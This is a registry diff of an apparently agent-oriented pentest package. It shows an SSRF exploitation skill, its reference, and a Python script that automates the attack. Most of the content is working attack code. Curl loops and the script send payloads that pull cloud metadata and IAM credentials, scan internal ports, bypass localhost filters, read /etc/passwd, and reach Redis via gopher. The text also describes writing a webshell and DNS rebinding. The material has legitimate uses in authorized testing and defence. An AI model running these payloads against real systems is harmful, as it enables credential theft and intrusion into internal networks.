open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,354 @@
1
+ ---
2
+ name: exploiting-server-side-request-forgery
3
+ description: Identifying and exploiting SSRF vulnerabilities to access internal services,
4
+ cloud metadata, and restricted network resources during authorized penetration tests.
5
+ domain: cybersecurity
6
+ subdomain: web-application-security
7
+ tags:
8
+ - penetration-testing
9
+ - ssrf
10
+ - owasp
11
+ - cloud-security
12
+ - web-security
13
+ - burpsuite
14
+ version: '1.0'
15
+ author: mahipal
16
+ license: Apache-2.0
17
+ nist_csf:
18
+ - PR.PS-01
19
+ - ID.RA-01
20
+ - PR.DS-10
21
+ - DE.CM-01
22
+ mitre_attack:
23
+ - T1190
24
+ - T1059.007
25
+ - T1505.003
26
+ - T1083
27
+ - T1078.004
28
+ ---
29
+
30
+ # Exploiting Server-Side Request Forgery
31
+
32
+ ## When to Use
33
+
34
+ - During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
35
+ - When testing cloud-hosted applications for access to instance metadata services
36
+ - For assessing PDF generators, screenshot services, or any feature that renders external content
37
+ - When evaluating microservice architectures for internal service access via SSRF
38
+ - During security assessments of APIs that accept URL parameters for data fetching
39
+
40
+ ## Prerequisites
41
+
42
+ - **Authorization**: Written penetration testing agreement including SSRF testing scope
43
+ - **Burp Suite Professional**: With Collaborator for out-of-band detection
44
+ - **interactsh**: Open-source OOB interaction server (`go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`)
45
+ - **SSRFmap**: Automated SSRF exploitation framework (`git clone https://github.com/swisskyrepo/SSRFmap.git`)
46
+ - **curl**: For manual SSRF payload testing
47
+ - **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges
48
+
49
+ ## Workflow
50
+
51
+ ### Step 1: Identify SSRF-Prone Functionality
52
+
53
+ Map all application features that make server-side HTTP requests.
54
+
55
+ ```bash
56
+ # Common SSRF-prone features:
57
+ # - URL preview/unfurling (Slack-like link previews)
58
+ # - Webhook configuration endpoints
59
+ # - File import from URL (import CSV from URL)
60
+ # - PDF/screenshot generation from URL
61
+ # - Image/avatar fetching from URL
62
+ # - RSS/feed aggregation
63
+ # - OAuth callback URLs
64
+ # - API proxy/gateway features
65
+
66
+ # Test a URL parameter with Burp Collaborator
67
+ # Replace URL values with Collaborator payload
68
+ curl -s -X POST \
69
+ -H "Content-Type: application/json" \
70
+ -H "Authorization: Bearer $TOKEN" \
71
+ -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
72
+ "https://target.example.com/api/fetch-url"
73
+
74
+ curl -s -X POST \
75
+ -H "Content-Type: application/json" \
76
+ -H "Authorization: Bearer $TOKEN" \
77
+ -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
78
+ "https://target.example.com/api/webhooks"
79
+
80
+ # Test URL in various parameter names
81
+ for param in url uri link href src dest redirect callback webhook \
82
+ image_url avatar_url feed_url import_url proxy_url; do
83
+ echo "Testing param: $param"
84
+ curl -s -o /dev/null -w "%{http_code}" \
85
+ "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
86
+ done
87
+ ```
88
+
89
+ ### Step 2: Access Cloud Instance Metadata
90
+
91
+ Test SSRF payloads targeting cloud provider metadata services.
92
+
93
+ ```bash
94
+ # AWS EC2 Metadata (IMDSv1)
95
+ curl -s -X POST \
96
+ -H "Content-Type: application/json" \
97
+ -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
98
+ "https://target.example.com/api/fetch-url"
99
+
100
+ # AWS - Get IAM role credentials
101
+ curl -s -X POST \
102
+ -H "Content-Type: application/json" \
103
+ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
104
+ "https://target.example.com/api/fetch-url"
105
+
106
+ # GCP Metadata
107
+ curl -s -X POST \
108
+ -H "Content-Type: application/json" \
109
+ -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
110
+ "https://target.example.com/api/fetch-url"
111
+
112
+ # Azure Metadata
113
+ curl -s -X POST \
114
+ -H "Content-Type: application/json" \
115
+ -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
116
+ "https://target.example.com/api/fetch-url"
117
+
118
+ # DigitalOcean Metadata
119
+ curl -s -X POST \
120
+ -H "Content-Type: application/json" \
121
+ -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
122
+ "https://target.example.com/api/fetch-url"
123
+ ```
124
+
125
+ ### Step 3: Scan Internal Network via SSRF
126
+
127
+ Use the SSRF vulnerability to discover internal services and ports.
128
+
129
+ ```bash
130
+ # Internal network scanning - common private ranges
131
+ for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
132
+ for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
133
+ echo -n "$ip:$port -> "
134
+ response=$(curl -s --max-time 3 -X POST \
135
+ -H "Content-Type: application/json" \
136
+ -d "{\"url\":\"http://$ip:$port/\"}" \
137
+ "https://target.example.com/api/fetch-url")
138
+ echo "$response" | head -c 100
139
+ echo
140
+ done
141
+ done
142
+
143
+ # Kubernetes internal services
144
+ for svc in kubernetes.default.svc \
145
+ kubernetes-dashboard.kubernetes-dashboard.svc \
146
+ kube-dns.kube-system.svc; do
147
+ curl -s --max-time 3 -X POST \
148
+ -H "Content-Type: application/json" \
149
+ -d "{\"url\":\"http://$svc/\"}" \
150
+ "https://target.example.com/api/fetch-url"
151
+ done
152
+
153
+ # Access internal admin panels
154
+ for path in /admin /console /actuator/env /server-status /_cat/indices; do
155
+ curl -s -X POST \
156
+ -H "Content-Type: application/json" \
157
+ -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
158
+ "https://target.example.com/api/fetch-url"
159
+ done
160
+ ```
161
+
162
+ ### Step 4: Bypass SSRF Filters and Allowlists
163
+
164
+ When basic payloads are blocked, use bypass techniques.
165
+
166
+ ```bash
167
+ # IP address encoding bypasses for 127.0.0.1
168
+ PAYLOADS=(
169
+ "http://127.0.0.1/"
170
+ "http://0177.0.0.1/" # Octal
171
+ "http://0x7f.0.0.1/" # Hex
172
+ "http://2130706433/" # Decimal
173
+ "http://127.1/" # Short form
174
+ "http://0/" # Zero
175
+ "http://[::1]/" # IPv6 loopback
176
+ "http://0.0.0.0/" # All interfaces
177
+ "http://localtest.me/" # DNS resolves to 127.0.0.1
178
+ "http://spoofed.burpcollaborator.net/" # DNS rebinding
179
+ "http://127.0.0.1.nip.io/" # Wildcard DNS
180
+ )
181
+
182
+ for payload in "${PAYLOADS[@]}"; do
183
+ echo -n "$payload -> "
184
+ curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
185
+ -X POST -H "Content-Type: application/json" \
186
+ -d "{\"url\":\"$payload\"}" \
187
+ "https://target.example.com/api/fetch-url"
188
+ echo
189
+ done
190
+
191
+ # URL parsing bypass
192
+ # Embed credentials: http://expected.com@evil.com/
193
+ # Fragment: http://evil.com#expected.com
194
+ # URL encoding: http://127.0.0.%31/
195
+ # Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
196
+
197
+ # Protocol bypass
198
+ curl -s -X POST \
199
+ -H "Content-Type: application/json" \
200
+ -d '{"url":"file:///etc/passwd"}' \
201
+ "https://target.example.com/api/fetch-url"
202
+
203
+ curl -s -X POST \
204
+ -H "Content-Type: application/json" \
205
+ -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
206
+ "https://target.example.com/api/fetch-url"
207
+
208
+ curl -s -X POST \
209
+ -H "Content-Type: application/json" \
210
+ -d '{"url":"dict://127.0.0.1:6379/info"}' \
211
+ "https://target.example.com/api/fetch-url"
212
+ ```
213
+
214
+ ### Step 5: Exploit SSRF for Impact Escalation
215
+
216
+ Chain SSRF with internal services for maximum impact.
217
+
218
+ ```bash
219
+ # Access Redis via gopher protocol
220
+ # Craft gopher payload to set a webshell via Redis
221
+ # gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
222
+ # This is for authorized testing only
223
+
224
+ # Access Elasticsearch
225
+ curl -s -X POST \
226
+ -H "Content-Type: application/json" \
227
+ -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
228
+ "https://target.example.com/api/fetch-url"
229
+
230
+ # Read data from Elasticsearch
231
+ curl -s -X POST \
232
+ -H "Content-Type: application/json" \
233
+ -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
234
+ "https://target.example.com/api/fetch-url"
235
+
236
+ # Access internal Jenkins
237
+ curl -s -X POST \
238
+ -H "Content-Type: application/json" \
239
+ -d '{"url":"http://127.0.0.1:8080/script"}' \
240
+ "https://target.example.com/api/fetch-url"
241
+
242
+ # AWS: Retrieve temporary credentials from IAM role
243
+ curl -s -X POST \
244
+ -H "Content-Type: application/json" \
245
+ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
246
+ "https://target.example.com/api/fetch-url"
247
+ # Returns: AccessKeyId, SecretAccessKey, Token
248
+ ```
249
+
250
+ ### Step 6: Test Blind SSRF and DNS Rebinding
251
+
252
+ For cases where the response is not returned to the attacker.
253
+
254
+ ```bash
255
+ # Blind SSRF detection using time-based analysis
256
+ # Compare response times for accessible vs inaccessible ports
257
+ time curl -s -X POST \
258
+ -H "Content-Type: application/json" \
259
+ -d '{"url":"http://127.0.0.1:22/"}' \
260
+ "https://target.example.com/api/fetch-url"
261
+
262
+ time curl -s -X POST \
263
+ -H "Content-Type: application/json" \
264
+ -d '{"url":"http://127.0.0.1:12345/"}' \
265
+ "https://target.example.com/api/fetch-url"
266
+
267
+ # DNS rebinding attack
268
+ # 1. Set up a DNS server that alternates between:
269
+ # - First query: returns attacker IP (passes allowlist)
270
+ # - Second query: returns 127.0.0.1 (targets internal service)
271
+ # 2. Use a rebinding service like rbndr.us
272
+
273
+ curl -s -X POST \
274
+ -H "Content-Type: application/json" \
275
+ -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
276
+ "https://target.example.com/api/fetch-url"
277
+ # rbndr.us alternates DNS responses between the two encoded IPs
278
+ ```
279
+
280
+ ## Key Concepts
281
+
282
+ | Concept | Description |
283
+ |---------|-------------|
284
+ | **SSRF** | Server-Side Request Forgery - making the server send requests to unintended destinations |
285
+ | **Blind SSRF** | SSRF where the response is not returned to the attacker, requiring OOB detection |
286
+ | **Cloud Metadata** | Instance metadata services (169.254.169.254) exposing credentials and configuration |
287
+ | **Gopher Protocol** | Protocol allowing raw TCP data transmission, enabling attacks on internal services |
288
+ | **DNS Rebinding** | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |
289
+ | **TOCTOU** | Time-of-check to time-of-use race condition in URL validation |
290
+ | **IMDSv2** | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |
291
+ | **Open Redirect Chain** | Using an open redirect to bypass URL allowlists in SSRF filters |
292
+
293
+ ## Tools & Systems
294
+
295
+ | Tool | Purpose |
296
+ |------|---------|
297
+ | **Burp Suite Professional** | Request modification and Collaborator for blind SSRF detection |
298
+ | **SSRFmap** | Automated SSRF exploitation framework with protocol support |
299
+ | **interactsh** | Out-of-band interaction detection for blind SSRF |
300
+ | **Gopherus** | Generates gopher payloads for exploiting internal services |
301
+ | **rbndr.us** | DNS rebinding service for SSRF filter bypass |
302
+ | **singularity** | DNS rebinding attack framework for automated exploitation |
303
+
304
+ ## Common Scenarios
305
+
306
+ ### Scenario 1: Webhook URL SSRF to AWS Credentials
307
+ A webhook configuration endpoint allows specifying a callback URL. Pointing it to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
308
+
309
+ ### Scenario 2: PDF Generator SSRF
310
+ A feature that generates PDFs from URLs makes server-side requests. Providing `http://127.0.0.1:8080/admin` as the URL generates a PDF containing the internal admin panel content.
311
+
312
+ ### Scenario 3: Image URL SSRF with Protocol Bypass
313
+ An avatar URL field is filtered for HTTP/HTTPS but accepts `file://` protocol. Using `file:///etc/passwd` as the avatar URL causes the server to read local files and include content in the response.
314
+
315
+ ### Scenario 4: Blind SSRF to Internal Redis
316
+ A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
317
+
318
+ ## Output Format
319
+
320
+ ```
321
+ ## SSRF Vulnerability Finding
322
+
323
+ **Vulnerability**: Server-Side Request Forgery (Full SSRF)
324
+ **Severity**: Critical (CVSS 9.1)
325
+ **Location**: POST /api/webhooks - `callback_url` parameter
326
+ **OWASP Category**: A10:2021 - Server-Side Request Forgery
327
+
328
+ ### Reproduction Steps
329
+ 1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
330
+ 2. Server makes request to AWS metadata endpoint
331
+ 3. Response contains AWS instance metadata including IAM role name
332
+ 4. Follow up with IAM credentials endpoint to retrieve temporary access keys
333
+
334
+ ### Confirmed Access
335
+ | Target | Protocol | Response |
336
+ |--------|----------|----------|
337
+ | 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
338
+ | 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
339
+ | 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
340
+ | 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
341
+
342
+ ### Impact
343
+ - AWS IAM temporary credentials exfiltrated (S3 read/write access)
344
+ - Internal Redis server accessible (potential RCE)
345
+ - Internal Elasticsearch data exposed (user records)
346
+ - Full internal network scanning capability
347
+
348
+ ### Recommendation
349
+ 1. Implement strict URL allowlisting (only allow known trusted domains)
350
+ 2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
351
+ 3. Upgrade to AWS IMDSv2 (requires session token header)
352
+ 4. Disable unused URL protocols (gopher, file, dict, ftp)
353
+ 5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls
354
+ ```
@@ -0,0 +1,57 @@
1
+ # API Reference: SSRF Vulnerability Assessment Agent
2
+
3
+ ## Dependencies
4
+
5
+ | Library | Version | Purpose |
6
+ |---------|---------|---------|
7
+ | requests | >=2.28 | HTTP client for sending SSRF payloads |
8
+
9
+ ## CLI Usage
10
+
11
+ ```bash
12
+ python scripts/agent.py \
13
+ --url https://target.example.com/api/fetch-url \
14
+ --param url \
15
+ --auth "Bearer TOKEN" \
16
+ --output ssrf_report.json
17
+ ```
18
+
19
+ ## Functions
20
+
21
+ ### `test_ssrf_endpoint(target_url, param_name, payload_url, method, auth_header) -> dict`
22
+ Sends a single SSRF payload and checks the response for success indicators.
23
+
24
+ ### `test_cloud_metadata(target_url, param_name, auth_header) -> list`
25
+ Tests SSRF against AWS IMDSv1, GCP, Azure, and DigitalOcean metadata endpoints.
26
+
27
+ ### `test_localhost_bypasses(target_url, param_name, auth_header) -> list`
28
+ Tests 9 localhost encoding bypasses: octal, hex, decimal, IPv6, short form, wildcard DNS.
29
+
30
+ ### `test_protocol_schemes(target_url, param_name, auth_header) -> list`
31
+ Tests `file://`, `dict://`, and `gopher://` protocol handlers.
32
+
33
+ ### `scan_internal_ports(target_url, param_name, internal_ip, ports, auth_header) -> list`
34
+ Uses SSRF to probe internal ports (22, 80, 3306, 5432, 6379, 8080, 9200).
35
+
36
+ ### `run_assessment(target_url, param_name, auth_header) -> dict`
37
+ Orchestrates all SSRF tests and compiles findings.
38
+
39
+ ## Cloud Metadata Endpoints
40
+
41
+ | Provider | URL |
42
+ |----------|-----|
43
+ | AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` |
44
+ | GCP | `http://metadata.google.internal/computeMetadata/v1/` |
45
+ | Azure | `http://169.254.169.254/metadata/instance` |
46
+ | DigitalOcean | `http://169.254.169.254/metadata/v1/` |
47
+
48
+ ## Output Schema
49
+
50
+ ```json
51
+ {
52
+ "target": "https://target.example.com/api/fetch-url",
53
+ "parameter": "url",
54
+ "cloud_metadata_tests": [{"cloud_provider": "aws_imdsv1", "status_code": 200}],
55
+ "findings": ["CRITICAL: Cloud metadata accessible via 1 endpoints"]
56
+ }
57
+ ```
@@ -0,0 +1,183 @@
1
+ #!/usr/bin/env python3
2
+ # For authorized testing in lab/CTF environments only
3
+ """SSRF vulnerability detection agent with cloud metadata and filter bypass testing."""
4
+
5
+ import argparse
6
+ import json
7
+ import logging
8
+ import sys
9
+ from typing import List
10
+
11
+ try:
12
+ import requests
13
+ except ImportError:
14
+ sys.exit("requests is required: pip install requests")
15
+
16
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
17
+ logger = logging.getLogger(__name__)
18
+
19
+ CLOUD_METADATA = {
20
+ "aws_imdsv1": "http://169.254.169.254/latest/meta-data/",
21
+ "aws_iam": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
22
+ "gcp": "http://metadata.google.internal/computeMetadata/v1/",
23
+ "azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
24
+ "digitalocean": "http://169.254.169.254/metadata/v1/",
25
+ }
26
+
27
+ LOCALHOST_BYPASSES = [
28
+ "http://127.0.0.1/", "http://0177.0.0.1/", "http://0x7f.0.0.1/",
29
+ "http://2130706433/", "http://127.1/", "http://0/",
30
+ "http://[::1]/", "http://0.0.0.0/", "http://127.0.0.1.nip.io/",
31
+ ]
32
+
33
+ PROTOCOL_PAYLOADS = [
34
+ "file:///etc/passwd", "file:///c:/windows/win.ini",
35
+ "dict://127.0.0.1:6379/info",
36
+ ]
37
+
38
+
39
+ def test_ssrf_endpoint(target_url: str, param_name: str, payload_url: str,
40
+ method: str = "POST", auth_header: str = "") -> dict:
41
+ """Send an SSRF payload to a target endpoint and analyze the response."""
42
+ headers = {"Content-Type": "application/json"}
43
+ if auth_header:
44
+ headers["Authorization"] = auth_header
45
+
46
+ data = {param_name: payload_url}
47
+ try:
48
+ if method.upper() == "POST":
49
+ resp = requests.post(target_url, json=data, headers=headers,
50
+ timeout=10, verify=False)
51
+ else:
52
+ resp = requests.get(target_url, params=data, headers=headers,
53
+ timeout=10, verify=False)
54
+ return {
55
+ "payload": payload_url,
56
+ "status_code": resp.status_code,
57
+ "content_length": len(resp.content),
58
+ "response_preview": resp.text[:200],
59
+ "success_indicators": _check_success(resp.text, payload_url),
60
+ }
61
+ except requests.RequestException as exc:
62
+ return {"payload": payload_url, "error": str(exc)}
63
+
64
+
65
+ def _check_success(response_text: str, payload: str) -> List[str]:
66
+ """Check response for indicators of successful SSRF."""
67
+ indicators = []
68
+ checks = {
69
+ "aws_metadata": ["ami-id", "instance-id", "security-credentials", "iam"],
70
+ "gcp_metadata": ["computeMetadata", "project-id", "service-accounts"],
71
+ "azure_metadata": ["vmId", "subscriptionId", "resourceGroupName"],
72
+ "local_file": ["root:", "/bin/bash", "[extensions]", "for 16-bit"],
73
+ "internal_service": ["redis_version", "elasticsearch", "Jenkins"],
74
+ }
75
+ for name, keywords in checks.items():
76
+ if any(kw.lower() in response_text.lower() for kw in keywords):
77
+ indicators.append(name)
78
+ return indicators
79
+
80
+
81
+ def test_cloud_metadata(target_url: str, param_name: str,
82
+ auth_header: str = "") -> List[dict]:
83
+ """Test SSRF against all cloud metadata endpoints."""
84
+ results = []
85
+ for provider, meta_url in CLOUD_METADATA.items():
86
+ result = test_ssrf_endpoint(target_url, param_name, meta_url,
87
+ auth_header=auth_header)
88
+ result["cloud_provider"] = provider
89
+ results.append(result)
90
+ if result.get("success_indicators"):
91
+ logger.warning("SSRF to %s: indicators=%s", provider, result["success_indicators"])
92
+ return results
93
+
94
+
95
+ def test_localhost_bypasses(target_url: str, param_name: str,
96
+ auth_header: str = "") -> List[dict]:
97
+ """Test localhost SSRF filter bypasses."""
98
+ results = []
99
+ for bypass in LOCALHOST_BYPASSES:
100
+ result = test_ssrf_endpoint(target_url, param_name, bypass,
101
+ auth_header=auth_header)
102
+ result["bypass_type"] = "localhost_encoding"
103
+ results.append(result)
104
+ return results
105
+
106
+
107
+ def test_protocol_schemes(target_url: str, param_name: str,
108
+ auth_header: str = "") -> List[dict]:
109
+ """Test non-HTTP protocol schemes (file://, dict://, gopher://)."""
110
+ results = []
111
+ for payload in PROTOCOL_PAYLOADS:
112
+ result = test_ssrf_endpoint(target_url, param_name, payload,
113
+ auth_header=auth_header)
114
+ result["protocol"] = payload.split(":")[0]
115
+ results.append(result)
116
+ return results
117
+
118
+
119
+ def scan_internal_ports(target_url: str, param_name: str, internal_ip: str,
120
+ ports: List[int], auth_header: str = "") -> List[dict]:
121
+ """Scan internal ports via SSRF to discover services."""
122
+ results = []
123
+ for port in ports:
124
+ payload = f"http://{internal_ip}:{port}/"
125
+ result = test_ssrf_endpoint(target_url, param_name, payload,
126
+ auth_header=auth_header)
127
+ result["internal_ip"] = internal_ip
128
+ result["port"] = port
129
+ is_open = (result.get("status_code") == 200 and
130
+ result.get("content_length", 0) > 0 and
131
+ not result.get("error"))
132
+ result["port_likely_open"] = is_open
133
+ results.append(result)
134
+ return results
135
+
136
+
137
+ def run_assessment(target_url: str, param_name: str, auth_header: str = "") -> dict:
138
+ """Run complete SSRF assessment."""
139
+ cloud = test_cloud_metadata(target_url, param_name, auth_header)
140
+ bypasses = test_localhost_bypasses(target_url, param_name, auth_header)
141
+ protocols = test_protocol_schemes(target_url, param_name, auth_header)
142
+ ports = scan_internal_ports(target_url, param_name, "127.0.0.1",
143
+ [22, 80, 443, 3306, 5432, 6379, 8080, 9200], auth_header)
144
+
145
+ findings = []
146
+ cloud_hits = [c for c in cloud if c.get("success_indicators")]
147
+ if cloud_hits:
148
+ findings.append(f"CRITICAL: Cloud metadata accessible via {len(cloud_hits)} endpoints")
149
+ bypass_hits = [b for b in bypasses if b.get("status_code") == 200 and b.get("content_length", 0) > 50]
150
+ if bypass_hits:
151
+ findings.append(f"HIGH: {len(bypass_hits)} localhost filter bypass(es) successful")
152
+ protocol_hits = [p for p in protocols if p.get("success_indicators")]
153
+ if protocol_hits:
154
+ findings.append(f"HIGH: Non-HTTP protocols accepted ({', '.join(p['protocol'] for p in protocol_hits)})")
155
+
156
+ return {
157
+ "target": target_url,
158
+ "parameter": param_name,
159
+ "cloud_metadata_tests": cloud,
160
+ "localhost_bypasses": bypasses,
161
+ "protocol_tests": protocols,
162
+ "internal_port_scan": ports,
163
+ "findings": findings,
164
+ }
165
+
166
+
167
+ def main():
168
+ parser = argparse.ArgumentParser(description="SSRF Vulnerability Assessment Agent")
169
+ parser.add_argument("--url", required=True, help="Target URL with SSRF-prone endpoint")
170
+ parser.add_argument("--param", default="url", help="Parameter name accepting URLs")
171
+ parser.add_argument("--auth", default="", help="Authorization header value")
172
+ parser.add_argument("--output", default="ssrf_report.json")
173
+ args = parser.parse_args()
174
+
175
+ report = run_assessment(args.url, args.param, args.auth)
176
+ with open(args.output, "w") as f:
177
+ json.dump(report, f, indent=2)
178
+ logger.info("Report saved to %s", args.output)
179
+ print(json.dumps(report, indent=2))
180
+
181
+
182
+ if __name__ == "__main__":
183
+ main()